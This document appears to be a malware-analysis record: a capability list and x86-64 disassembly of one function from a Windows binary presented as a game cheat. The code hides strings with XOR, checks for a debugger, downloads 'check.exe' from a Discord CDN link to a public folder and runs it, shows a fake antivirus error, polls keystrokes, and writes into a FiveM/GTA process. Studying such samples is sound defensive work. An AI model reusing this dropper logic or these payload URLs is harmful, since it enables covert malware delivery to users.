Function at 0x140028730
Capabilities:
Check for time delay via queryperformancecounter
Contain obfuscated stackstrings
Create process on windows
Create thread
Download url
Encode data using xor
Hide graphical window
Log keystrokes via polling
Receive data
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x910
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
lea rbp, [rax - 0x8b8]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14003b040]
xor rax, rsp
mov qword [rbp + 0x820], rax
xor r12d, r12d
mov dword [0x14004e078], 0x3e8
call fcn.140028290
mov byte [0x14004e06d], 1
mov byte [0x14004e06a], 1
mov byte [0x14004e06e], 1
mov byte [0x14004e069], r12b
mov byte [0x14004e06b], r12b
mov byte [0x14004e06c], 1
lea ecx, [r12 + 8]
call fcn.14002d1a4
lea rcx, [0x140028070]
mov qword [rax], rcx
mov qword [rbp + 0x538], rax
lea rcx, [rbp + 0x58]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x14002c890]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x50], rax
test rax, rax
je 0x14002a642
mov qword [rbp + 0x538], r12
cmp dword [rbp + 0x58], r12d
je 0x14002a636
movaps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp + 0x240], xmm0
lea rcx, [rbp + 0x240]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14002a636
xorps xmm0, xmm0
movaps xmmword [rbp + 0x330], xmm0
movdqa xmmword [rbp + 0x50], xmm0
lea ecx, [rax + 8]
call fcn.14002d1a4
lea rcx, [0x140027f70]
mov qword [rax], rcx
mov qword [rbp + 0x530], rax
lea rcx, [rbp + 0x48]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x14002c890]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x40], rax
test rax, rax
je 0x14002a626
mov qword [rbp + 0x530], r12
cmp dword [rbp + 0x48], r12d
je 0x14002a61a
movaps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x250], xmm0
lea rcx, [rbp + 0x250]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14002a61a
xorps xmm0, xmm0
movaps xmmword [rbp + 0x340], xmm0
movdqa xmmword [rbp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x14002a652
call fcn.140026280
call qword [sym.imp.libcurl.dll_curl_easy_init]
mov rbx, rax
test rax, rax
je 0x140028a03
xorps xmm0, xmm0
movups xmmword [rbp + 0x4e8], xmm0
mov qword [rbp + 0x4f8], r12
mov qword [rbp + 0x500], 0xf
mov byte [rbp + 0x4e8], r12b
lea r8, str.https:__pastebin.com_raw_Kq5WAy8W
mov edx, 0x2712
mov rcx, rax
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [0x140028560]
mov edx, 0x4e2b
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [rbp + 0x4e8]
mov edx, 0x2711
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_perform]
test eax, eax
jne 0x14002899d
mov dword [rbp + 0x4c0], r12d
lea r8, [rbp + 0x4c0]
mov edx, 0x200002
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_getinfo]
cmp dword [rbp + 0x4c0], 0xc8
jne 0x14002899d
mov byte [0x14004e06f], 1
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_cleanup]
mov rdx, qword [rbp + 0x500]
cmp rdx, 0xf
jbe 0x1400289ea
inc rdx
mov rcx, qword [rbp + 0x4e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400289e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400289e5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002cd44
mov qword [rbp + 0x4f8], r12
mov qword [rbp + 0x500], 0xf
mov byte [rbp + 0x4e8], 0
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov edi, eax
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebx, eax
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x590]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov dword [rbp + 0x470], 0x50
mov dword [rbp + 0x474], 0x40
lea rax, [0x140025d60]
mov qword [rbp + 0x478], rax
mov qword [rbp + 0x480], r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x488], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x490], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4a0], xmm1
lea rsi, str.ownned
mov qword [rbp + 0x4b0], rsi
mov qword [rbp + 0x4b8], r12
lea rcx, [rbp + 0x470]
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov qword [rsp + 0x58], r12
mov rax, qword [rbp + 0x488]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
mov r9d, 0x80000000
mov r8, rsi
mov rdx, rsi
mov ecx, 0x80008
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov qword [0x14004e0f8], rax
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov rbx, qword [0x14004e0f8]
mov ecx, 0x20
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov rcx, rax
mov qword [0x14004e100], rax
test rax, rax
je 0x14002a5c7
mov qword [0x14004e110], r12
mov qword [0x14004e11c], r12
mov dword [0x14004e124], r12d
mov qword [0x14004e12c], r12
mov dword [0x14004e134], r12d
mov qword [0x14004e144], r12
mov dword [0x14004e138], 1
mov dword [0x14004e128], 1
mov dword [0x14004e118], r12d
mov dword [0x14004e13c], 1
mov dword [0x14004e140], 0x50
mov dword [0x14004e14c], 0x80000000
mov rax, qword [rax]
lea rdx, [0x14004e108]
mov qword [rsp + 0x30], rdx
lea rdx, [0x14004e110]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0x40
mov r9, rbx
xor edx, edx
lea r8d, [rdx + 1]
call qword [rax + 0x80]
test eax, eax
js 0x14002a5c0
mov edx, 0xa
mov rcx, qword [0x14004e0f8]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14004e0f8]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [r9 - 1]
mov rcx, qword [0x14004e0f8]
call qword [sym.imp.USER32.dll_SetWindowPos]
mov rax, qword [0x14004e070]
test rax, rax
je 0x140028c1b
inc dword [rax + 0x3bc]
mov ecx, 0x3e00
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp], rax
lea rcx, [rbp + 0x30]
mov qword [rbp + 0x508], rcx
mov qword [rbp + 0x38], rax
test rax, rax
je 0x140028c48
mov rcx, rax
call fcn.1400014a0
jmp 0x140028c4b
mov rax, r12
cmp qword [0x14004e070], 0
jne 0x140028c5c
mov qword [0x14004e070], rax
mov rcx, rax
call fcn.140006090
xor ecx, ecx
call fcn.1400197d0
mov rbx, qword [0x14004e0f8]
lea rcx, [0x14004e0e8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x140028d6e
lea rcx, [0x14004e0e0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x140028d6e
mov qword [0x14004e0d8], rbx
mov rax, qword [0x14004e070]
or dword [rax + 0xc], 6
lea rcx, str.imgui_impl_win32
mov qword [rax + 0xd8], rcx
mov qword [rax + 0x120], rbx
mov dword [rax + 0x3c], 9
mov dword [rax + 0x40], 0x25
mov dword [rax + 0x44], 0x27
mov dword [rax + 0x48], 0x26
mov dword [rax + 0x4c], 0x28
mov dword [rax + 0x50], 0x21
mov dword [rax + 0x54], 0x22
mov dword [rax + 0x58], 0x24
mov dword [rax + 0x5c], 0x23
mov dword [rax + 0x60], 0x2d
mov dword [rax + 0x64], 0x2e
mov dword [rax + 0x68], 8
mov dword [rax + 0x6c], 0x20
mov dword [rax + 0x70], 0xd
mov dword [rax + 0x74], 0x1b
mov dword [rax + 0x78], 0xd
mov dword [rax + 0x7c], 0x41
mov dword [rax + 0x80], 0x43
mov dword [rax + 0x84], 0x56
mov dword [rax + 0x88], 0x58
mov dword [rax + 0x8c], 0x59
mov dword [rax + 0x90], 0x5a
jmp 0x140028d75
mov rax, qword [0x14004e070]
mov rcx, qword [0x14004e108]
lea rdx, str.imgui_impl_dx9
mov qword [rax + 0xe0], rdx
or dword [rax + 0xc], 8
mov qword [0x14004e0c8], rcx
mov rax, qword [rcx]
call qword [rax + 8]
mov rbx, qword [0x14004e070]
movaps xmm0, xmmword [0x1400343f0]
movups xmmword [rbx + 0x161c], xmm0
movaps xmm1, xmmword [0x1400343d0]
movups xmmword [rbx + 0x162c], xmm1
movaps xmm0, xmmword [0x1400343a0]
movups xmmword [rbx + 0x16bc], xmm0
movaps xmm1, xmm0
movups xmmword [rbx + 0x163c], xmm0
movaps xmm0, xmmword [0x140034350]
movups xmmword [rbx + 0x164c], xmm0
movaps xmm1, xmmword [0x1400343b0]
movups xmmword [rbx + 0x165c], xmm1
movaps xmm0, xmmword [0x140034390]
movups xmmword [rbp + 0x350], xmm0
movups xmmword [rbx + 0x166c], xmm0
movaps xmm1, xmm0
movups xmmword [rbp + 0x360], xmm0
movups xmmword [rbx + 0x167c], xmm0
movaps xmm0, xmmword [0x1400343a0]
movups xmmword [rbx + 0x168c], xmm0
movaps xmm1, xmmword [0x1400343b0]
movups xmmword [rbx + 0x169c], xmm1
movaps xmm0, xmmword [0x1400343c0]
movups xmmword [rbx + 0x16ac], xmm0
movaps xmm1, xmmword [0x140034400]
movups xmmword [rbp + 0x370], xmm1
movups xmmword [rbx + 0x173c], xmm1
movaps xmm0, xmm1
movups xmmword [rbp + 0x380], xmm1
movups xmmword [rbx + 0x174c], xmm1
movaps xmm0, xmmword [0x1400343e0]
movups xmmword [rbx + 0x175c], xmm0
movaps xmm1, xmmword [0x140034390]
movups xmmword [rbx + 0x176c], xmm1
movaps xmm0, xmmword [0x1400343b0]
movups xmmword [rbx + 0x177c], xmm0
movaps xmm1, xmmword [0x1400343c0]
movups xmmword [rbx + 0x178c], xmm1
movaps xmm0, xmmword [0x140034350]
movups xmmword [rbx + 0x179c], xmm0
movaps xmm1, xmm0
movups xmmword [rbx + 0x17ac], xmm0
movaps xmm0, xmmword [0x1400343c0]
movups xmmword [rbx + 0x17bc], xmm0
movaps xmm1, xmmword [0x140034400]
movups xmmword [rbp + 0x290], xmm1
movups xmmword [rbx + 0x17cc], xmm1
movaps xmm0, xmm1
movups xmmword [rbp + 0x2a0], xmm1
movups xmmword [rbx + 0x17dc], xmm1
movups xmmword [rbp + 0x2b0], xmm1
movups xmmword [rbx + 0x17ec], xmm1
movaps xmm0, xmmword [0x1400343a0]
movups xmmword [rbx + 0x182c], xmm0
movaps xmm1, xmmword [0x140034390]
movups xmmword [rbx + 0x183c], xmm1
movaps xmm0, xmm1
movups xmmword [rbp + 0x2c0], xmm1
movups xmmword [rbx + 0x184c], xmm1
movaps xmm0, xmmword [0x1400343a0]
movups xmmword [rbx + 0x185c], xmm0
movaps xmm1, xmm0
movups xmmword [rbx + 0x186c], xmm0
mov dword [rbx + 0x1578], 0x40400000
mov dword [rbx + 0x1594], 0x40000000
mov dword [rbx + 0x15ac], 0x3f800000
mov dword [rbx + 0x15e4], 0x40000000
mov dword [rbx + 0x1574], 0x40400000
mov dword [rbx + 0x15a8], 0x40400000
mov dword [rbx + 0x15e0], 0x40400000
mov dword [rbx + 0x15dc], 0x40400000
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
movss xmm3, dword [0x140034170]
mov r8d, 0x12
lea rdx, [0x14003b0c0]
mov rcx, qword [rbx + 0xa8]
call fcn.14001d800
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
movss xmm3, dword [0x140034174]
mov r8d, 0x16
lea rdx, [0x14003b0c0]
mov rcx, qword [rbx + 0xa8]
call fcn.14001d800
mov qword [0x14004e0f0], rax
mov r8d, 0xb6
lea rdx, str.https:__cdn.discordapp.com_attachments_1188611078020673606_1206968945895153704_check.exe_ex65f0656dis65ddf06dhm823d29dde8f6da3a0999474124f3d2e72a4c4a5994866c2076a624804bbc041f
lea rcx, [rbp + 0x390]
call fcn.14002a670
cmp byte [rbp + 0x446], 0
jne 0x14002903f
lea rcx, [rbp + 0x390]
nop word [rax + rax]
movzx eax, byte [rbp + 0x447]
xor byte [rcx], al
inc rcx
lea rax, [rbp + 0x446]
cmp rcx, rax
jne 0x140029020
mov byte [rbp + 0x446], 1
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x540]
call fcn.14002bb20
nop
mov dword [rbp + 0x28], 0x1a001a7f
mov cl, 0x1a
mov dword [rbp + 0x24], 0x627f3471
mov dword [rbp + 0x20], 0x797f7279
mov dword [rbp + 0x1c], 0x46797376
mov dword [rbp + 0x18], 0x786f4a46
mov dword [rbp + 0x14], 0x69687f69
mov dword [rbp + 0x10], 0x4f462059
lea rax, [rbp + 0x10]
nop word [rax + rax]
xor byte [rax], cl
inc rax
lea rcx, [rbp + 0x2a]
cmp rax, rcx
je 0x1400290a4
movzx ecx, byte [rbp + 0x2b]
jmp 0x140029090
mov byte [rbp + 0x2a], 1
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x510]
call fcn.14002bb20
nop
lea r8, [rbp + 0x510]
cmp qword [rbp + 0x528], 0xf
cmova r8, qword [rbp + 0x510]
lea rdx, [rbp + 0x540]
cmp qword [rbp + 0x558], 0xf
cmova rdx, qword [rbp + 0x540]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, str.C:UsersPubliccheck.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x140029147
mov r9d, 0x40
lea r8, str.Error
lea rdx, str.Error_:Check_the_antivirus._If_its_still_not_closed__try_closing_it.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xorps xmm0, xmm0
movups xmmword [rbp + 0x560], xmm0
movups xmmword [rbp + 0x570], xmm0
movups xmmword [rbp + 0x580], xmm0
mov byte [rbp + 0x270], 0
xor eax, eax
movups xmmword [rbp + 0x271], xmm0
mov qword [rbp + 0x281], rax
movabs rsi, 0xd2b9f3b93b36e8e5
movabs r13, 0xbeb744e405335cb6
movabs r15, 0xe0dbacf45e4081a3
movabs r14, 0xa4e494f45742267
movss xmm8, dword [0x1400341c0]
movss xmm9, dword [0x1400341b4]
movss xmm10, dword [0x140034128]
movss xmm11, dword [0x1400340f4]
movss xmm7, dword [0x14003412c]
nop word [rax + rax]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x560]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140029210
lea rcx, [rbp + 0x560]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x560]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x14002a36c
mov ecx, 0x2d
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140029243
cmp byte [0x14004d650], 0
sete al
mov byte [0x14004d650], al
neg al
sbb edx, edx
and edx, 0xa
mov rcx, qword [0x14004e0f8]
call qword [sym.imp.USER32.dll_ShowWindow]
cmp qword [0x14004e0b8], 0
jne 0x140029252
call fcn.1400223e0
mov rdi, qword [0x14004e070]
lea rdx, [rbp + 0x458]
mov rcx, qword [0x14004e0d8]
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rbp + 0x464]
sub eax, dword [rbp + 0x45c]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov eax, dword [rbp + 0x460]
sub eax, dword [rbp + 0x458]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rdi + 0x10], xmm0
movss dword [rdi + 0x14], xmm1
lea rcx, [rbp + 0x508]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rbp + 0x508]
mov rax, rcx
sub rax, qword [0x14004e0e0]
xorps xmm1, xmm1
cvtsi2ss xmm1, rax
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [0x14004e0e8]
divss xmm1, xmm0
movss dword [rdi + 0x18], xmm1
mov qword [0x14004e0e0], rcx
mov ecx, 0x11
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rdi + 0x148], al
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rdi + 0x149], al
mov ecx, 0x12
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rdi + 0x14a], al
mov byte [rdi + 0x14b], 0
mov rcx, qword [0x14004e070]
lea rbx, [rcx + 0x130]
cmp byte [rcx + 0x3a3], 0
je 0x14002937d
cvttss2si eax, dword [rbx]
mov dword [rbp + 0x4c8], eax
cvttss2si eax, dword [rcx + 0x134]
mov dword [rbp + 0x4cc], eax
lea rdx, [rbp + 0x4c8]
mov rcx, qword [0x14004e0d8]
call qword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [rbp + 0x4cc]
mov ecx, dword [rbp + 0x4c8]
call qword [sym.imp.USER32.dll_SetCursorPos]
mov dword [rbx], 0xff7fffff
mov dword [rbx + 4], 0xff7fffff
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x1400293f6
mov rdx, qword [0x14004e0d8]
cmp rax, rdx
je 0x1400293ae
mov rcx, rax
call qword [sym.imp.USER32.dll_IsChild]
test eax, eax
je 0x1400293f6
lea rcx, [rbp + 0x450]
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x1400293f6
lea rdx, [rbp + 0x450]
mov rcx, qword [0x14004e0d8]
call qword [sym.imp.USER32.dll_ScreenToClient]
test eax, eax
je 0x1400293f6
movd xmm1, dword [rbp + 0x454]
cvtdq2ps xmm1, xmm1
movd xmm0, dword [rbp + 0x450]
cvtdq2ps xmm0, xmm0
movss dword [rbx], xmm0
movss dword [rbx + 4], xmm1
cmp byte [rdi + 0xc8], 0
je 0x140029406
mov eax, 0xffffffff
jmp 0x140029413
mov rax, qword [0x14004e070]
mov eax, dword [rax + 0x1f18]
cmp dword [0x14004d7a0], eax
je 0x140029426
mov dword [0x14004d7a0], eax
call fcn.140022550
call fcn.1400226d0
call fcn.1400054d0
cmp byte [0x14004d650], 0
je 0x14002a2b5
mov rax, qword [0x14004e070]
or dword [rax + 0x1b20], 2
mov dword [rax + 0x1b40], 0x43c80000
mov dword [rax + 0x1b44], 0x435c0000
mov dword [rax + 0x1b28], 1
xor edx, edx
lea r8d, [rdx + 0x2b]
lea rdi, str.blue
mov rcx, rdi
call fcn.140009b50
mov rbx, qword [0x14004e070]
mov rax, qword [rbx + 0x1a80]
movss xmm6, dword [rax + 0x18]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rdi
movss dword [rsp + 0x20], xmm8
movaps xmm3, xmm9
movss xmm2, dword [rbx + 0x1928]
lea rdx, [rbp + 0x38]
mov rcx, qword [rbx + 0x1920]
call fcn.140020180
movss xmm0, dword [rbp + 0x38]
addss xmm0, xmm10
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x38], xmm1
mov rax, qword [rbx + 0x1a80]
mov byte [rax + 0x80], 1
mov rax, qword [rbx + 0x1a80]
movss xmm2, dword [rax + 0x10]
subss xmm2, dword [rax + 0x54]
subss xmm6, xmm1
mulss xmm6, xmm11
addss xmm2, xmm6
movss dword [rax + 0xd0], xmm2
movss xmm0, dword [rax + 0xe8]
maxss xmm0, xmm2
movss dword [rax + 0xe8], xmm0
call fcn.14000c2b0
movabs rax, 0xf2c09fd2585f9db4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0xbed23188471d25f4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x730], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x738], rax
movdqa xmm0, xmmword [rbp + 0x60]
xorps xmm0, xmmword [rbp + 0x730]
movdqa xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call fcn.140023500
mov rbx, qword [0x14004e070]
mov rax, qword [rbx + 0x1a80]
mov rcx, qword [rax + 0x2b0]
dec dword [rcx + 0x70]
call fcn.14001a4e0
sub dword [rbx + 0x1bc8], 1
jne 0x1400295d2
mov rax, qword [0x14004e070]
mov rcx, qword [rax + 0xb8]
test rcx, rcx
jne 0x1400295e5
mov rax, qword [rax + 0xa8]
mov rcx, qword [rax + 0x48]
mov rcx, qword [rcx]
jmp 0x1400295e5
movsxd rcx, dword [rbx + 0x1bc8]
mov rax, qword [rbx + 0x1bd0]
mov rcx, qword [rax + rcx*8 - 8]
call fcn.14000c220
mov dword [rbp + 0x5a0], 0x130
xor edx, edx
mov r8d, 0x12c
lea rcx, [rbp + 0x5a4]
call sub.VCRUNTIME140.dll_memset
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0xeef610a35a0a6580
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movabs rbx, 0x6f603a3c20174d15
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rax, 0x54b47b12d914e120
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x760], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x768], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x770], rax
movabs rdi, 0x54b47b12d9148458
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x778], rax
vmovdqu ymm0, ymmword [rbp + 0x220]
vpxor ymm1, ymm0, ymmword [rbp + 0x760]
vmovdqa ymmword [rbp + 0x220], ymm1
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x2d0]
vzeroupper
call fcn.14002bb20
lea rdx, [rbp + 0x5a0]
mov rcx, rax
call fcn.1400285e0
test al, al
je 0x140029a11
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0xeef610a35a0a6580
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rax, 0x54b47b12d914e120
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x780], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x788], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x790], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x798], rax
vmovdqu ymm0, ymmword [rbp + 0x780]
vpxor ymm0, ymm0, ymmword [rbp + 0x200]
vmovdqa ymmword [rbp + 0x200], ymm0
lea rcx, [rbp + 0x200]
vzeroupper
call fcn.14002c8d0
mov ebx, eax
movabs rax, 0xf2ca80dc58599ab5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0xbec228c1250938ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x740], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x748], rax
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp + 0x740]
movdqa xmmword [rbp + 0x70], xmm0
mov edx, ebx
lea rcx, [rbp + 0x70]
call fcn.140023500
lea rdx, str.FiveM_b2699_GTAProcess.exe
mov ecx, ebx
call fcn.14002c990
lea r15, [rax + 0x2140688]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
movabs rax, 0xd2c09fd2585f9db4
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x80], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x88], rcx
mov qword [rbp], rsi
mov rcx, qword [rbp]
mov qword [rbp + 0x710], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x718], rax
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0x710]
movdqa xmmword [rbp + 0x80], xmm0
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x80]
call fcn.1400248a0
xorps xmm0, xmm0
mov rdx, qword [0x14004e088]
sub rdx, qword [0x14004e080]
sar rdx, 2
cmp byte [rbp + 8], 0
je 0x14002994d
mov dword [rbp + 0x4d0], r12d
movdqu xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], r12
test rdx, rdx
je 0x14002992f
lea rcx, [rbp + 0x140]
call fcn.1400284d0
mov rsi, qword [rbp + 0x140]
mov rbx, qword [0x14004e080]
mov rdi, qword [0x14004e088]
mov r8, rdi
sub r8, rbx
mov rdx, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
sub rdi, rbx
sar rdi, 2
lea rax, [rsi + rdi*4]
mov qword [rbp + 0x148], rax
movabs rsi, 0xd2b9f3b93b36e8e5
movabs rdi, 0x54b47b12d9148458
lea r8, [rbp + 0x140]
mov rdx, r15
mov rcx, r14
call fcn.14002ca50
lea r8, [rbp + 0x4d0]
jmp 0x1400299dc
mov dword [rbp + 0x4d4], 0xe
movdqu xmmword [rbp + 0x128], xmm0
mov qword [rbp + 0x138], r12
test rdx, rdx
je 0x1400299c3
lea rcx, [rbp + 0x128]
call fcn.1400284d0
mov rsi, qword [rbp + 0x128]
mov rbx, qword [0x14004e080]
mov rdi, qword [0x14004e088]
mov r8, rdi
sub r8, rbx
mov rdx, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
sub rdi, rbx
sar rdi, 2
lea rax, [rsi + rdi*4]
mov qword [rbp + 0x130], rax
movabs rsi, 0xd2b9f3b93b36e8e5
movabs rdi, 0x54b47b12d9148458
lea r8, [rbp + 0x128]
mov rdx, r15
mov rcx, r14
call fcn.14002ca50
lea r8, [rbp + 0x4d4]
mov qword [rsp + 0x20], r12
mov r9d, 4
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movabs r15, 0xe0dbacf45e4081a3
movabs r14, 0xa4e494f45742267
movabs rbx, 0x6f603a3c20174d15
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0xeef610a35a07688f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0x54b47b12d914e120
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x800], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x808], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x810], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x818], rax
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x800]
vmovdqa ymmword [rbp + 0x1e0], ymm1
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x2f0]
vzeroupper
call fcn.14002bb20
lea rdx, [rbp + 0x5a0]
mov rcx, rax
call fcn.1400285e0
test al, al
je 0x140029e01
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0xeef610a35a07688f
mov qword [rbp], rax
